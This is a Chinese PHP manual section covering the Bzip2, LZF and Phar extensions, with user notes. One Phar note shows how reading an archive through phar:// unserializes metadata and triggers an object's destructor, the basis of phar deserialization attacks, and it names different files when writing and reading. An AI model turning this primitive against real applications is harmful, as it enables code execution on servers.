  • Bzip2 函数
  • 什么都不做

bzflush

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzflush — 什么都不做

说明

bzflush(resource $bz): bool

该函数应该强制写入 bzip2 文件指针 bz 的所有写缓冲数据。但在 libbz2 中实现为空函数，因此什么都不做。

参数

bz

文件指针。它必须是有效的并且指向 bzopen() 成功打开的文件。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • bzread() - bzip2 文件二进制安全地读取
  • bzwrite() - 二进制安全地写入 bzip2 文件

User Contributed Notes

There are no user contributed notes for this page.


打开 bzip2 压缩文件

  • ? bzflush
  • bzread ?
  • PHP Manual
  • Bzip2 函数
  • 打开 bzip2 压缩文件

bzopen

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzopen — 打开 bzip2 压缩文件

说明

bzopen(string|resource $file, string $mode): resource|false

bzopen() 打开一个 bzip2（.bz2）文件用于读或写。

参数

file

待打开的文件的文件名，或者已经存在的资源流。

mode

支持 'r'（读）和 'w'（写）模式。 其他任何模式都会导致 bzopen() 返回 false。

返回值

如果打开失败，bzopen() 会返回 false，否则返回一个指向最新打开文件的指针。

示例

Example #1 bzopen() 范例

<?php

$file = "/tmp/foo.bz2";
$bz = bzopen($file, "r") or die("Couldn't open $file for reading");

bzclose($bz);

?>

参见

  • bzclose() - 关闭一个 bzip2 文件

User Contributed Notes

KrazyBox 30-Dec-2008 05:44
In some circumstances, you may want to send a bzip2 stream to the client.

To do this, you need only do:

<?php
ob_flush();
$bz = bzopen('php://stdout', 'w');
bzwrite($bz, 'some input here');
bzclose($bz);
?>

However, please note, because you are using STDOUT, you need to ob_flush() before actually writing to the stream. Otherwise, you might be sending data before the headers, which will cause errors on both server and client ends, in most cases.

You might be able to use php://output rather than php://stdout, however in my tests (with Linux), php://output doesn't actually work - at all.
Jille at quis dot cx dot spam dot to dot my dot devnull 19-Mar-2008 01:11
Warning!

the example show above is _not_ working in every case!
This example will continue reading until there is no more data:

<?PHP
      $bz=bzopen('foo.bz2', 'r');
      $data="";
      do {
        $line=bzread($bz, 8092);
        if($line!==false)
          $data.=$line;
      }
      while($line);
      bzclose($bz);
?>


bzip2 文件二进制安全地读取

  • ? bzopen
  • bzwrite ?
  • PHP Manual
  • Bzip2 函数
  • bzip2 文件二进制安全地读取

bzread

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzread — bzip2 文件二进制安全地读取

说明

bzread(resource $bz, int $length = 1024): string|false

bzread() 从指定的 bzip2 文件指针中读取数据。

读取到 length（未经压缩的长度）个字节，或者到文件尾，取决于先到哪个。

参数

bz

文件指针。它必须是有效的并且指向 bzopen() 成功打开的文件。

length

如果没有提供， bzread() 一次会读入 1024 个字节（未经压缩的长度）。 一次最大可读入 8192 个未压缩的字节。

返回值

返回解压的数据，在错误时返回 false。

示例

Example #1 bzread() 范例

<?php

$file = "/tmp/foo.bz2";
$bz = bzopen($file, "r") or die("Couldn't open $file");

$decompressed_file = '';
while (!feof($bz)) {
$decompressed_file .= bzread($bz, 4096);
}
bzclose($bz);

echo "The contents of $file are: <br />\n";
echo $decompressed_file;

?>

参见

  • bzwrite() - 二进制安全地写入 bzip2 文件
  • feof() - 测试文件指针是否到了文件结束的位置
  • bzopen() - 打开 bzip2 压缩文件

User Contributed Notes

Anonymous 08-Nov-2015 09:52
The earlier posted code has a small bug in it: it uses bzerror instead of bzerrno. Should be like this:

$fh = bzopen('file.bz2','r');
while(!feof($fh)) {
  $buffer = bzread($fh);
  if($buffer === FALSE) die('Read problem');
  if(bzerrno($fh) !== 0) die('Compression Problem');
}
bzclose($fh);
user@anonymous 15-Apr-2012 07:10
Make sure you check for bzerror while looping through a bzfile. bzread will not detect a compression error and can continue forever even at the cost of 100% cpu.

$fh = bzopen('file.bz2','r');
while(!feof($fh)) {
  $buffer = bzread($fh);
  if($buffer === FALSE) die('Read problem');
  if(bzerror($fh) !== 0) die('Compression Problem');
}
bzclose($fh);


二进制安全地写入 bzip2 文件

  • ? bzread
  • LZF ?
  • PHP Manual
  • Bzip2 函数
  • 二进制安全地写入 bzip2 文件

bzwrite

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzwrite — 二进制安全地写入 bzip2 文件

说明

bzwrite(resource $bz, string $data, ?int $length = null): int|false

bzwrite() 把字符串（string）写入了指定的 bzip2 文件流。

参数

bz

文件指针。它必须是有效的并且指向 bzopen() 成功打开的文件。

data

要写入的数据。

length

如果提供了这个参数，将仅仅写入 length（未压缩）个字节，若 data 小于该指定的长度则写入全部数据。

返回值

返回写入的数据字节数，错误时返回 false。

更新日志

版本 | 说明
8.0.0 | length 现在可为空（nullable）。

示例

Example #1 bzwrite() 范例

<?php
$str = "uncompressed data";
$bz = bzopen("/tmp/foo.bz2", "w");
bzwrite($bz, $str, strlen($str));
bzclose($bz);
?>

参见

  • bzread() - bzip2 文件二进制安全地读取
  • bzopen() - 打开 bzip2 压缩文件

User Contributed Notes

There are no user contributed notes for this page.


LZF

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • LZF 函数
    • lzf_compress — LZF compression
    • lzf_decompress — LZF decompression
    • lzf_optimized_for — Determines what LZF extension was optimized for

User Contributed Notes

There are no user contributed notes for this page.


简介

LZF is a very fast compression algorithm, ideal for saving space with only slight speed cost. It can be optimized for speed or space at the time of compilation. This extension is using » liblzf library by Marc Lehmann for its operations.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。 安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/lzf.

In order to use these functions you must compile PHP with lzf support by using the --with-lzf[=DIR] configure option. You may also pass --enable-lzf-better-compression to optimize LZF for space rather than speed.

Windows users will enable php_lzf.dll inside of php.ini in order to use these functions. PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

There are no user contributed notes for this page.


LZF 函数

Table of Contents

  • lzf_compress — LZF compression
  • lzf_decompress — LZF decompression
  • lzf_optimized_for — Determines what LZF extension was optimized for

User Contributed Notes

grenier at cgsecurity dot org 06-Sep-2005 01:39
To install lzf, you can use

gunzip lzf-xxx.tgz
tar -xvf lzf-xxx.tar
cd lzf-xxx
phpize
./configure && make && make install


LZF compression

  • ? LZF 函数
  • lzf_decompress ?
  • PHP Manual
  • LZF 函数
  • LZF compression

lzf_compress

(PECL lzf >= 0.1.0)

lzf_compress — LZF compression

说明

lzf_compress(string $data): string

lzf_compress() compresses the given data string using LZF encoding.

参数

data

The string to compress.

返回值

Returns the compressed data or false if an error occurred.

参见

  • lzf_decompress() - LZF decompression

User Contributed Notes

There are no user contributed notes for this page.


LZF decompression

  • ? lzf_compress
  • lzf_optimized_for ?
  • PHP Manual
  • LZF 函数
  • LZF decompression

lzf_decompress

(PECL lzf >= 0.1.0)

lzf_decompress — LZF decompression

说明

lzf_decompress(string $data): string

lzf_compress() decompresses the given data string containing lzf encoded data.

参数

data

The compressed string.

返回值

Returns the decompressed data or false if an error occurred.

参见

  • lzf_compress() - LZF compression

User Contributed Notes

There are no user contributed notes for this page.


Determines what LZF extension was optimized for

  • ? lzf_decompress
  • Phar ?
  • PHP Manual
  • LZF 函数
  • Determines what LZF extension was optimized for

lzf_optimized_for

(PECL lzf >= 1.0.0)

lzf_optimized_for — Determines what LZF extension was optimized for

说明

lzf_optimized_for(): int

Determines what was LZF extension optimized for during compilation.

参数

此函数没有参数。

返回值

Returns 1 if LZF was optimized for speed, 0 for compression.

User Contributed Notes

There are no user contributed notes for this page.


Phar

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Using Phar Archives
    • Using Phar Archives: Introduction
    • Using Phar Archives: the phar stream wrapper
    • Using Phar Archives: the Phar and PharData class
  • Creating Phar Archives
    • Creating Phar Archives: Introduction
  • What makes a phar a phar and not a tar or a zip?
    • Ingredients of all Phar archives, independent of file format
    • Phar file stub
    • Head-to-head comparison of Phar, Tar and Zip
    • Tar-based phars
    • Zip-based phars
    • Phar File Format
    • Global Phar bitmapped flags
    • Phar manifest file entry definition
    • Phar Signature format
  • Phar — The Phar class
    • Phar::addEmptyDir — 添加一个空目录到 phar 档案
    • Phar::addFile — 将一个文件从文件系统添加到 phar 档案中
    • Phar::addFromString — 以字符串的形式添加一个文件到 phar 档案
    • Phar::apiVersion — Returns the api version
    • Phar::buildFromDirectory — Construct a phar archive from the files within a directory
    • Phar::buildFromIterator — Construct a phar archive from an iterator
    • Phar::canCompress — Returns whether phar extension supports compression using either zlib or bzip2
    • Phar::canWrite — Returns whether phar extension supports writing and creating phars
    • Phar::compress — Compresses the entire Phar archive using Gzip or Bzip2 compression
    • Phar::compressFiles — Compresses all files in the current Phar archive
    • Phar::__construct — Construct a Phar archive object
    • Phar::convertToData — Convert a phar archive to a non-executable tar or zip file
    • Phar::convertToExecutable — Convert a phar archive to another executable phar archive file format
    • Phar::copy — Copy a file internal to the phar archive to another new file within the phar
    • Phar::count — Returns the number of entries (files) in the Phar archive
    • Phar::createDefaultStub — Create a phar-file format specific stub
    • Phar::decompress — Decompresses the entire Phar archive
    • Phar::decompressFiles — Decompresses all files in the current Phar archive
    • Phar::delMetadata — Deletes the global metadata of the phar
    • Phar::delete — 删除 phar 档案中的一个文件
    • Phar::__destruct — Destructs a Phar archive object
    • Phar::extractTo — Extract the contents of a phar archive to a directory
    • Phar::getAlias — Get the alias for Phar
    • Phar::getMetadata — Returns phar archive meta-data
    • Phar::getModified — Return whether phar was modified
    • Phar::getPath — Get the real path to the Phar archive on disk
    • Phar::getSignature — Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive
    • Phar::getStub — Return the PHP loader or bootstrap stub of a Phar archive
    • Phar::getSupportedCompression — Return array of supported compression algorithms
    • Phar::getSupportedSignatures — Return array of supported signature types
    • Phar::getVersion — Return version info of Phar archive
    • Phar::hasMetadata — Returns whether phar has global meta-data
    • Phar::interceptFileFuncs — Instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions
    • Phar::isBuffering — Used to determine whether Phar write operations are being buffered, or are flushing directly to disk
    • Phar::isCompressed — Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
    • Phar::isFileFormat — Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter
    • Phar::isValidPharFilename — Returns whether the given filename is a valid phar filename
    • Phar::isWritable — Returns true if the phar archive can be modified
    • Phar::loadPhar — Loads any phar archive with an alias
    • Phar::mapPhar — Reads the currently executed file (a phar) and registers its manifest
    • Phar::mount — Mount an external path or file to a virtual location within the phar archive
    • Phar::mungServer — Defines a list of up to 4 $_SERVER variables that should be modified for execution
    • Phar::offsetExists — Determines whether a file exists in the phar
    • Phar::offsetGet — Gets a PharFileInfo object for a specific file
    • Phar::offsetSet — Set the contents of an internal file to those of an external file
    • Phar::offsetUnset — Remove a file from a phar
    • Phar::running — Returns the full path on disk or full phar URL to the currently executing Phar archive
    • Phar::setAlias — Set the alias for the Phar archive
    • Phar::setDefaultStub — Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader
    • Phar::setMetadata — Sets phar archive meta-data
    • Phar::setSignatureAlgorithm — Set the signature algorithm for a phar and apply it
    • Phar::setStub — Used to set the PHP loader or bootstrap stub of a Phar archive
    • Phar::startBuffering — Start buffering Phar write operations, do not modify the Phar object on disk
    • Phar::stopBuffering — Stop buffering write requests to the Phar archive, and save changes to disk
    • Phar::unlinkArchive — Completely remove a phar archive from disk and from memory
    • Phar::webPhar — Routes a request from a web browser to an internal file within the phar archive
  • PharData — The PharData class
    • PharData::addEmptyDir — Add an empty directory to the tar/zip archive
    • PharData::addFile — Add a file from the filesystem to the tar/zip archive
    • PharData::addFromString — Add a file from a string to the tar/zip archive
    • PharData::buildFromDirectory — Construct a tar/zip archive from the files within a directory
    • PharData::buildFromIterator — Construct a tar or zip archive from an iterator
    • PharData::compress — Compresses the entire tar/zip archive using Gzip or Bzip2 compression
    • PharData::compressFiles — Compresses all files in the current tar/zip archive
    • PharData::__construct — Construct a non-executable tar or zip archive object
    • PharData::convertToData — Convert a phar archive to a non-executable tar or zip file
    • PharData::convertToExecutable — Convert a non-executable tar/zip archive to an executable phar archive
    • PharData::copy — Copy a file internal to the phar archive to another new file within the phar
    • PharData::decompress — Decompresses the entire Phar archive
    • PharData::decompressFiles — Decompresses all files in the current zip archive
    • PharData::delMetadata — Deletes the global metadata of a zip archive
    • PharData::delete — Delete a file within a tar/zip archive
    • PharData::__destruct — Destructs a non-executable tar or zip archive object
    • PharData::extractTo — Extract the contents of a tar/zip archive to a directory
    • PharData::isWritable — Returns true if the tar/zip archive can be modified
    • PharData::offsetSet — Set the contents of a file within the tar/zip to those of an external file or string
    • PharData::offsetUnset — Remove a file from a tar/zip archive
    • PharData::setAlias — Dummy function (Phar::setAlias is not valid for PharData)
    • PharData::setDefaultStub — Dummy function (Phar::setDefaultStub is not valid for PharData)
    • PharData::setMetadata — Sets phar archive meta-data
    • PharData::setSignatureAlgorithm — Set the signature algorithm for a phar and apply it
    • PharData::setStub — Dummy function (Phar::setStub is not valid for PharData)
  • PharFileInfo — The PharFileInfo class
    • PharFileInfo::chmod — Sets file-specific permission bits
    • PharFileInfo::compress — Compresses the current Phar entry with either zlib or bzip2 compression
    • PharFileInfo::__construct — Construct a Phar entry object
    • PharFileInfo::decompress — Decompresses the current Phar entry within the phar
    • PharFileInfo::delMetadata — Deletes the metadata of the entry
    • PharFileInfo::__destruct — Destructs a Phar entry object
    • PharFileInfo::getCRC32 — Returns CRC32 code or throws an exception if CRC has not been verified
    • PharFileInfo::getCompressedSize — Returns the actual size of the file (with compression) inside the Phar archive
    • PharFileInfo::getContent — Get the complete file contents of the entry
    • PharFileInfo::getMetadata — Returns file-specific meta-data saved with a file
    • PharFileInfo::getPharFlags — Returns the Phar file entry flags
    • PharFileInfo::hasMetadata — Returns the metadata of the entry
    • PharFileInfo::isCRCChecked — Returns whether file entry has had its CRC verified
    • PharFileInfo::isCompressed — Returns whether the entry is compressed
    • PharFileInfo::setMetadata — Sets file-specific meta-data saved with a file
  • PharException — The PharException class

User Contributed Notes

lemonkid from OpenToAll 12-Sep-2018 06:39
when read via phar://, stream will unserialize object including phar file

Use this to create phar
<?php
// create new Phar
$phar = new Phar('lemon.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'Chanh';
$phar->setMetadata($object);
$phar->stopBuffering();
?>

and read it by:
<?php
class AnyClass {
    function __destruct() {
        echo $this->data;
    }
}
// output: Chanh
file_get_contents('phar://test.phar');
?>
bawe_a at yahoo dot com 24-Mar-2018 02:06
<?php
  include 'phar://ArPHP.phar/Arabic.php';
  $obj = new I18N_Arabic('Numbers');

  echo $obj->int2str(1975);
?>
brunoczim 05-Jul-2017 01:24
Here is a very simple program for creating phar files with CLI. Note that it requires phar.readonly in php.ini  set to false (Off).

<?php
$filename = "default";
$dir = "./";
$regex = "/^(?!.*build\\.php)(?:.*)$/";
$main = "main.php";
$shebang = "#!/usr/bin/env php";
$chmod = true;

for ($i = 0; $i < $argc; $i++) {
    switch ($argv[$i]) {
        case "-o":
            $i++;
            if ($i >= $argc) {
                echo "Missing output file name" . PHP_EOL;
                exit(1);
            }
            $filename = $argv[$i];
            break;
        case "-i":
            $i++;
            if ($i >= $argc) {
                echo "Missing input directory name" . PHP_EOL;
                exit(1);
            }
            $dir = $argv[$i];
            break;
        case "-p":
            $i++;
            if ($i >= $argc) {
                echo "Missing regular expression pattern" . PHP_EOL;
                exit(1);
            }
            $regex = $argv[$i];
            break;
        case "-m":
            $i++;
            if ($i >= $argc) {
                echo "Missing main file" . PHP_EOL;
                exit(1);
            }
            $main = $argv[$i];
            break;
        case "-b":
            $i++;
            if ($i >= $argc) {
                echo "Missing shebang of file" . PHP_EOL;
                exit(1);
            }
            $shebang = $argv[$i];
            break;
        case "--no-chmod":
            $chmod = false;
            break;
    }
}
if (file_exists($filename)) unlink($filename);
$phar = new Phar($filename);
$phar->buildFromDirectory($dir, $regex);
$phar->setStub(($shebang ? $shebang . PHP_EOL : "") . $phar->createDefaultStub($main));
if ($chmod) {
    chmod($filename, fileperms($phar) | 0700);
}
t dot habenreich at web dot de 16-Dec-2013 08:38
Here is a very simple class to build a phar file from a given source directory. You can use this for your own project and simple deployment.

But my main goal was to show how to use PHAR functions in a simple way.

<?php

class BuildPhar
{
  private $_sourceDirectory = null;
  private $_stubFile        = null;
  private $_outputDirectory = null;
  private $_pharFileName    = null;

  /**
   * @param $_sourceDirectory       // This is the directory where your project is stored.
   * @param $stubFile               // Name the entry point for your phar file. This file have to be within the source
   *                                   directory.
   * @param null $_outputDirectory  // Directory where the phar file will be placed.
   * @param string $pharFileName    // Name of your final *.phar file.
   */
  public function __construct($_sourceDirectory, $stubFile, $_outputDirectory = null, $pharFileName = 'myPhar.phar') {

    if ((file_exists($_sourceDirectory) === false) || (is_dir($_sourceDirectory) === false)) {
      throw new Exception('No valid source directory given.');
    }
    $this->_sourceDirectory = $_sourceDirectory;

    if (file_exists($this->_sourceDirectory.'/'.$stubFile) === false) {
      throw new Exception('Your given stub file doesn\'t exists.');
    }

    $this->_stubFile = $stubFile;

    if(empty($pharFileName) === true) {
      throw new Exception('Your given output name for your phar-file is empty.');
    }
    $this->_pharFileName = $pharFileName;

    if ((empty($_outputDirectory) === true) || (file_exists($_outputDirectory) === false) || (is_dir($_outputDirectory) === false)) {

      if ($_outputDirectory !== null) {
        trigger_error ( 'Your output directory is invalid. We set the fallback to: "'.dirname(__FILE__).'".', E_USER_WARNING);
      }

      $this->_outputDirectory = dirname(__FILE__);
    } else {
      $this->_outputDirectory = $_outputDirectory;
    }

    $this->prepareBuildDirectory();
    $this->buildPhar();
  }

  private function prepareBuildDirectory() {
    if (preg_match('/.phar$/', $this->_pharFileName) == FALSE) {
      $this->_pharFileName .= '.phar';
    }

    if (file_exists($this->_pharFileName) === true) {
      unlink($this->_pharFileName);
    }
  }

  private function buildPhar() {
    $phar = new Phar($this->_outputDirectory.'/'.$this->_pharFileName);
    $phar->buildFromDirectory($this->_sourceDirectory);
    $phar->setDefaultStub($this->_stubFile);
  }
}
//END Class

//Example Usage:
$builder = new BuildPhar(
  dirname(__FILE__).'/_source',
  'my_default_stub.php',
  dirname(__FILE__).'/_output',
  'my-phar-file.phar'
);
dava 03-Jun-2013 09:18
Here is an apache2 htaccess example that prevents the downloading of phar-Archives by the user:

RewriteEngine on
RewriteRule ^(.*)\.phar$ - [F]

It triggers a "403 - Forbidden" message instead of delivering the archive.
v-mafick at microsoft dot com 24-May-2013 09:22
Users should set the `sys_temp_dir` directive.

PHAR stores temporary files in either `sys_temp_dir` or the current working directory(CWD).

This is especially important if you're CWD is on a remote file system. Often web server clusters will share a common file system between each web server (using NFS, DFS, etc...). In such scenarios, if you don't set `sys_temp_dir` to a local directory, PHAR will be creating temporary files over the network, which will result in performance and functionality problems.
bohwaz 21-Nov-2011 02:43
If you get blank pages when trying to access a phar web-page, then you probably have Suhosin on your PHP (like in Debian and Ubuntu), and you need to ad this to your php.ini to allow execution of PHAR archives :

suhosin.executor.include.whitelist="phar"


简介

phar 扩展提供了一种将整个 PHP 应用程序放入单个叫做"phar"（PHP 归档）文件的方法，以便于分发和安装。 除了提供此服务外，phar 扩展还提供了一种文件格式抽象方法，用于通过 PharData 类创建和操作 tar 和 zip 文件，就像 PDO 提供访问不同数据库的统一接口一样。与不能在不同数据库之间转换的 PDO 不同，phar 还可以使用一行代码在 tar、zip 和 phar 文件格式之间进行转换。参见 Phar::convertToExecutable() 中的示例。

什么是 phar？phar 归档的最佳特征是可以将多个文件组合成一个文件。 因此，phar 归档提供了在单个文件中分发完整的 PHP 应用程序并无需将其解压缩到磁盘而直接运行文件的方法。此外，phar 归档可以像任何其他文件一样由 PHP 在命令行和 Web 服务器上执行。phar 有点像 PHP 应用程序的移动存储器。

phar 通过 stream 封装协议实现这个功能。通常，要在 PHP 脚本中使用外部文件，将使用 include：

Example #1 使用外部文件

<?php
include '/path/to/external/file.php';
?>

PHP 实际上将 /path/to/external/file.php 转换为 stream 封装协议file:///path/to/external/file.php，在底层，实际上使用普通文件 stream 封装协议 stream 函数访问所有的本地文件。

要使用 phar 归档 /path/to/myphar.phar 中名为 file.php 的文件，语法跟上面的 file:// 语法非常相似。

Example #2 使用 phar 归档内部文件

<?php
include 'phar:///path/to/myphar.phar/file.php';
?>

实际上可以将 phar 归档完全视为外部磁盘，可以使用任何 fopen() 相关函数，opendir() 和 mkdir() 相关函数在 phar 归档内读取、更改、创建新文件或目录。这将允许完整 PHP 应用程序分布在单个文件中，并直接从该文件中运行。

phar 归档最常见的用法是在单个文件中分发完整的应用程序。例如，PEAR 安装程序与 PHP 版本捆绑作为 phar 归档分发。要使用以这种方式分发 phar 归档，可以在命令行或通过 Web 服务器执行归档操作。

phar 归档可以作为 tar 归档、zip 归档或专门为 phar 扩展设计的自定义 phar 文件格式分发。每种文件格式都有优点和缺点。tar 和 zip 文件格式可以由任何可以读取格式的第三方工具读取或提取，但需要 PHP 和 phar 扩展才能运行。phar 文件格式是针对 phar 扩展定制和独有的，只能由 phar 扩展或 PEAR 包 » PHP_Archive 创建，优点是以这种格式创建的应用程序即使未启用 phar 扩展也能运行。

换句话说，即使禁用了 phar 扩展，也可以执行或包含基于 phar 的归档。只有使用 phar 扩展才能访问 phar 归档中的单个文件，除非 phar 归档是由 PHP_Archive 创建的。

phar 扩展还能够在单个命令中将 phar 归档从 tar 转换为 zip 或 phar 文件格式：

Example #3 将 phar 归档从 phar 转换为 tar 文件格式

<?php
$phar = new Phar('myphar.phar');
$pgz = $phar->convertToExecutable(Phar::TAR, Phar::GZ); // makes myphar.phar.tar.gz
?>

phar 可以使用 gzip 或 bzip2 来压缩单个文件或整个归档，并且可以通过使用 MD5、SHA-1、SHA-256 或 SHA-512 签名自动验证归档完整性。

最后，phar 扩展有安全意识，默认禁用对可执行 phar 归档的写访问，并且需要系统级禁用 phar.readonly php.ini 设置才能创建或修改 phar 归档。没有可执行存根（executable stub）的普通 tar 和 zip 归档始终可以使用 PharData 类创建或修改。

如果正在创建用于分发的应用程序，需要阅读如何创建 phar 归档。如果想了解关于 phar 支持的三种文件格式之间差异的更多信息，应该阅读 Phar、Tar 和 Zip。

如果使用的是 phar 应用程序，那么在如何使用 phar 归档中有一些有用的提示。

phar 是 PHP 和 Archive 的合成词，大致上基于 Java 开发人员熟悉的 jar（Java 归档）。

phar 归档的实现基于 PEAR 包 » PHP_Archive，尽管实现细节相似，但是 phar 扩展功能更强大。此外，phar 扩展允许大多数 PHP 应用程序不加修改地运行，而基于 PHP_Archive 的 phar 归档通常需要大量修改才能工作。

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • 资源类型

User Contributed Notes

acosonic at gmail dot com 28-Dec-2016 07:33
I would recommend following way of using/installing .phar under windows:

http://stackoverflow.com/questions/19413669/windows-8-phar-files-how-do-you-want-to-open/41357263#41357263


需求

想要利用压缩 phar，需要启用 zlib 和 bzip2 扩展。 此外，想要利用 OpenSSL 签名，需要开启 OpenSSL 扩展才能使用。

若要启用 zend.multibyte，必须同时启用 zend.detect_unicode。

User Contributed Notes

There are no user contributed notes for this page.


安装

Phar 扩展与 PHP 捆绑且默认启用。禁用 Phar 支持，使用 --disable-phar。

在之前的 PHP 版本，可以通过 PECL 扩展安装 Phar，» Phar PECL 页面包含了历史以及更多信息。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

文件系统和 stream 配置选项
名字 | 默认 | 可修改范围 | 更新日志
phar.readonly | "1" | PHP_INI_ALL |
phar.require_hash | "1" | PHP_INI_ALL |
phar.cache_list | "" | PHP_INI_SYSTEM |

这是配置指令的简短说明。

phar.readonly bool

在使用 phar 流或 Phar 对象的写入操作时， 本选项可以禁止创建、修改 Phar 归档。 在生产环境中推荐始终启用本设置，否则伴随其他常见安全漏洞， phar 扩展支持写入时也能创建基于 PHP 的病毒。

Note:

出于安全考虑，只能在 php.ini 中取消此设置。 若在 php.ini 中禁用 phar.readonly，可以在代码中启用 phar.readonly 或其后禁用它。 若在 php.ini 中启用 phar.readonly，在代码中只能 "重复启用" INI 变量，不能禁用。

phar.require_hash bool

此选项要求调用的所有 Phar 归档必须包含签名（目前支持的签名类型有 MD5、SHA1、SHA256、SHA512、OpenSSL）， 而且会拒绝处理不含签名的 Phar 归档。

Note:

只能在 php.ini 中取消此设置。 若在 php.ini 中禁用 phar.require_hash，可以在代码中启用 phar.require_hash 或其后禁用它。 若在 php.ini 中启用 phar.require_hash，在代码中可以 "重复启用" INI 变量，但不能禁用它。

此选项不影响 PharData 类读取普通 tar 文件。

Caution

phar.require_hash 本身不提供任何安全保障，它只能阻止运行因意外而损坏的 Phar 归档， 因为任何人都可以篡改 Phar 归档后轻松修改成对应的签名。

phar.cache_list string

允许 web 服务启动时预先解析映射 phar 归档，提供性能上的优化， 使得从 phar 归档中运行文件的速度几乎接近从传统的基于磁盘安装运行这些文件的速度。

Example #1 phar.cache_list 用法示例

在 php.ini 中（windows）：
phar.cache_list =C:\path\to\phar1.phar;C:\path\to\phar2.phar
在 php.ini 中（unix）：
phar.cache_list =/path/to/phar1.phar:/path/to/phar2.phar

User Contributed Notes

milagre at gmail dot com 14-Jun-2011 11:48
During experimentation with phar.cache_list using php 5.2.13 and pecl/phar 2.0.0, I found some interesting details.

It seems that if any phar in the list of phars to cache fails to be read properly during module initialization, none of the phars in the list will be cached, including ones that had already been successfully read before the failure.

Additionally, phars without metadata will always fail to be pre-cached properly due to what seems to be a bug in the phar module that re-reads the length of the metadata from the next byte if the metadata length is 0.  Adding any metadata resolved the problem for me.

So make sure you are pre-caching phars with metadata, and make sure you don't put a bad path/file in the list.


资源类型

Phar 扩展提供了 phar 流，能够透明访问 phar 中的文件。 另请参阅 Phar 文件格式说明。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

Phar compression constants
Constant | Value | Description
Phar::NONE (int) | 0x00000000 | no compression
Phar::COMPRESSED (int) | 0x0000F000 | bitmask that can be used with file flags to determine if any compression is present
Phar::GZ (int) | 0x00001000 | zlib (gzip) compression
Phar::BZ2 (int) | 0x00002000 | bzip2 compression
Phar file format constants
Constant | Value | Description
Phar::PHAR (int) | 1 | phar file format
Phar::TAR (int) | 2 | tar file format
Phar::ZIP (int) | 3 | zip file format
Phar signature constants
Constant | Value | Description
Phar::MD5 (int) | 0x0001 | signature with md5 hash algorithm
Phar::SHA1 (int) | 0x0002 | signature with sha1 hash algorithm
Phar::SHA256 (int) | 0x0003 | signature with sha256 hash algorithm (requires hash extension)
Phar::SHA512 (int) | 0x0004 | signature with sha512 hash algorithm (requires hash extension)
Phar::OPENSSL (int) | 0x0010 | signature with OpenSSL public/private key pair. This is a true, asymmetric key signature.
Phar::OPENSSL_SHA256 (int) |  |
Phar::OPENSSL_SHA512 (int) |  |
Phar webPhar mime override constants
Constant | Value | Description
Phar::PHP (int) | 0 | used to instruct the mimeoverrides parameter of Phar::webPhar() that the extension should be parsed as a PHP file
Phar::PHPS (int) | 1 | used to instruct the mimeoverrides parameter of Phar::webPhar() that the extension should be parsed as a PHP source file through highlight_file()

User Contributed Notes

There are no user contributed notes for this page.


Using Phar Archives

Table of Contents

  • Using Phar Archives: Introduction
  • Using Phar Archives: the phar stream wrapper
  • Using Phar Archives: the Phar and PharData class

User Contributed Notes

gabriel at bumpt dot net 04-Aug-2008 08:57
One should be aware that the bcompiler extension does not appear to work in a phar archive.

When parsing PHP files within a Phar archive, the engine seems to not decode the b-compiled files. Rather, it outputs the bytecode data, even if the bcompiler extension is enabled and loaded, and otherwise operating properly on stand-alone b-compiled PHP files.


Using Phar Archives: Introduction

Phar archives are similar in concept to Java JAR archives, but are tailored to the needs and to the flexibility of PHP applications. A Phar archive is used to distribute a complete PHP application or library in a single file. A Phar archive application is used exactly like any other PHP application:

php coolapplication.phar

Using a Phar archive library is identical to using any other PHP library:

<?php
include 'coollibrary.phar';
?>

The phar stream wrapper provides the core of the phar extension, and is explained in detail here. The phar stream wrapper allows accessing the files within a phar archive using PHP's standard file functions fopen(), opendir(), and others that work on regular files. The phar stream wrapper supports all read/write operations on both files and directories.

<?php
include 'phar://coollibrary.phar/internal/file.php';
header('Content-type: image/jpeg');
// phars can be accessed by full path or by alias
echo file_get_contents('phar:///fullpath/to/coollibrary.phar/images/wow.jpg');
?>

The Phar class implements advanced functionality for accessing files and for creating phar archives. The Phar class is explained in detail here.

<?php
try {
// open an existing phar
$p = new Phar('coollibrary.phar', 0);
// Phar extends SPL's DirectoryIterator class
foreach (new RecursiveIteratorIterator($p) as $file) {
// $file is a PharFileInfo class, and inherits from SplFileInfo
echo $file->getFileName() . "\n";
echo file_get_contents($file->getPathName()) . "\n"; // display contents;
}
if (isset($p['internal/file.php'])) {
var_dump($p['internal/file.php']->getMetadata());
}

// create a new phar - phar.readonly must be 0 in php.ini
// phar.readonly is enabled by default for security reasons.
// On production servers, Phars need never be created,
// only executed.
if (Phar::canWrite()) {
$p = new Phar('newphar.tar.phar', 0, 'newphar.tar.phar');
// make this a tar-based phar archive, compressed with gzip compression (.tar.gz)
$p = $p->convertToExecutable(Phar::TAR, Phar::GZ);

